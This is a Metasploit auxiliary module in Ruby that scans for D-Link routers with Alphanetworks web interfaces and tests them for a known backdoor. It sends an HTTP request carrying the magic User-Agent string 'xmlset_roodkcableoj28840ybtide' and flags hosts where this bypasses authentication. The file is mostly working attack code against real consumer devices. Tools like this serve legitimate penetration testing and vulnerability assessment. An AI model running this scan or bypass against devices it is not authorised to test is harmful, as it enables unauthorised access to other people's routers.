##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Scanner
include Msf::Auxiliary::Report
def initialize
super(
'Name' => 'D-Link User-Agent Backdoor Scanner',
'Description' => %q{
This module attempts to find D-Link devices running Alphanetworks web interfaces affected
by the backdoor found on the User-Agent header. This module has been tested successfully
on a DIR-100 device with firmware version v1.13.
},
'Author' =>
[
'Craig Heffner', # vulnerability discovery
'Michael Messner <devnull[at]s3cur1ty.de>', # Metasploit module
'juan vazquez' # minor help with msf module
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'URL', 'http://www.devttys0.com/2013/10/reverse-engineering-a-d-link-backdoor/' ]
],
# First documented in detail by Craig, but looks like it's been known
# (at least to the Russians :-) ) since 2010 - see post at forum.codenet.ru
'DisclosureDate' => "Oct 12 2013"
)
end
def is_alpha_web_server?
begin
res = send_request_cgi({'uri' => '/'})
rescue ::Rex::ConnectionError
vprint_error("#{rhost}:#{rport} - Failed to connect to the web server")
return false
end
# Signatures:
# * httpd-alphanetworks/2.23
# * Alpha_webserv
if res and res.headers["Server"] and res.headers["Server"] =~ /alpha/i
return true
end
return false
end
def run_host(ip)
if is_alpha_web_server?
vprint_good("#{ip} - Alphanetworks web server detected")
else
vprint_error("#{ip} - Alphanetworks web server doesn't detected")
return
end
begin
res = send_request_cgi({
'uri' => '/',
'method' => 'GET',
'agent' => 'xmlset_roodkcableoj28840ybtide'
})
rescue ::Rex::ConnectionError
vprint_error("#{ip}:#{rport} - Failed to connect to the web server")
return
end
# DIR-100 device with firmware version v1.13
# not sure if this matches on other devices
# TODO: Testing on other devices
if res and res.code == 200 and res.headers["Content-length"] != 0 and res.body =~ /Home\/bsc_internet\.htm/
print_good("#{ip}:#{rport} - Vulnerable for authentication bypass via User-Agent Header \"xmlset_roodkcableoj28840ybtide\"")
end
end
end
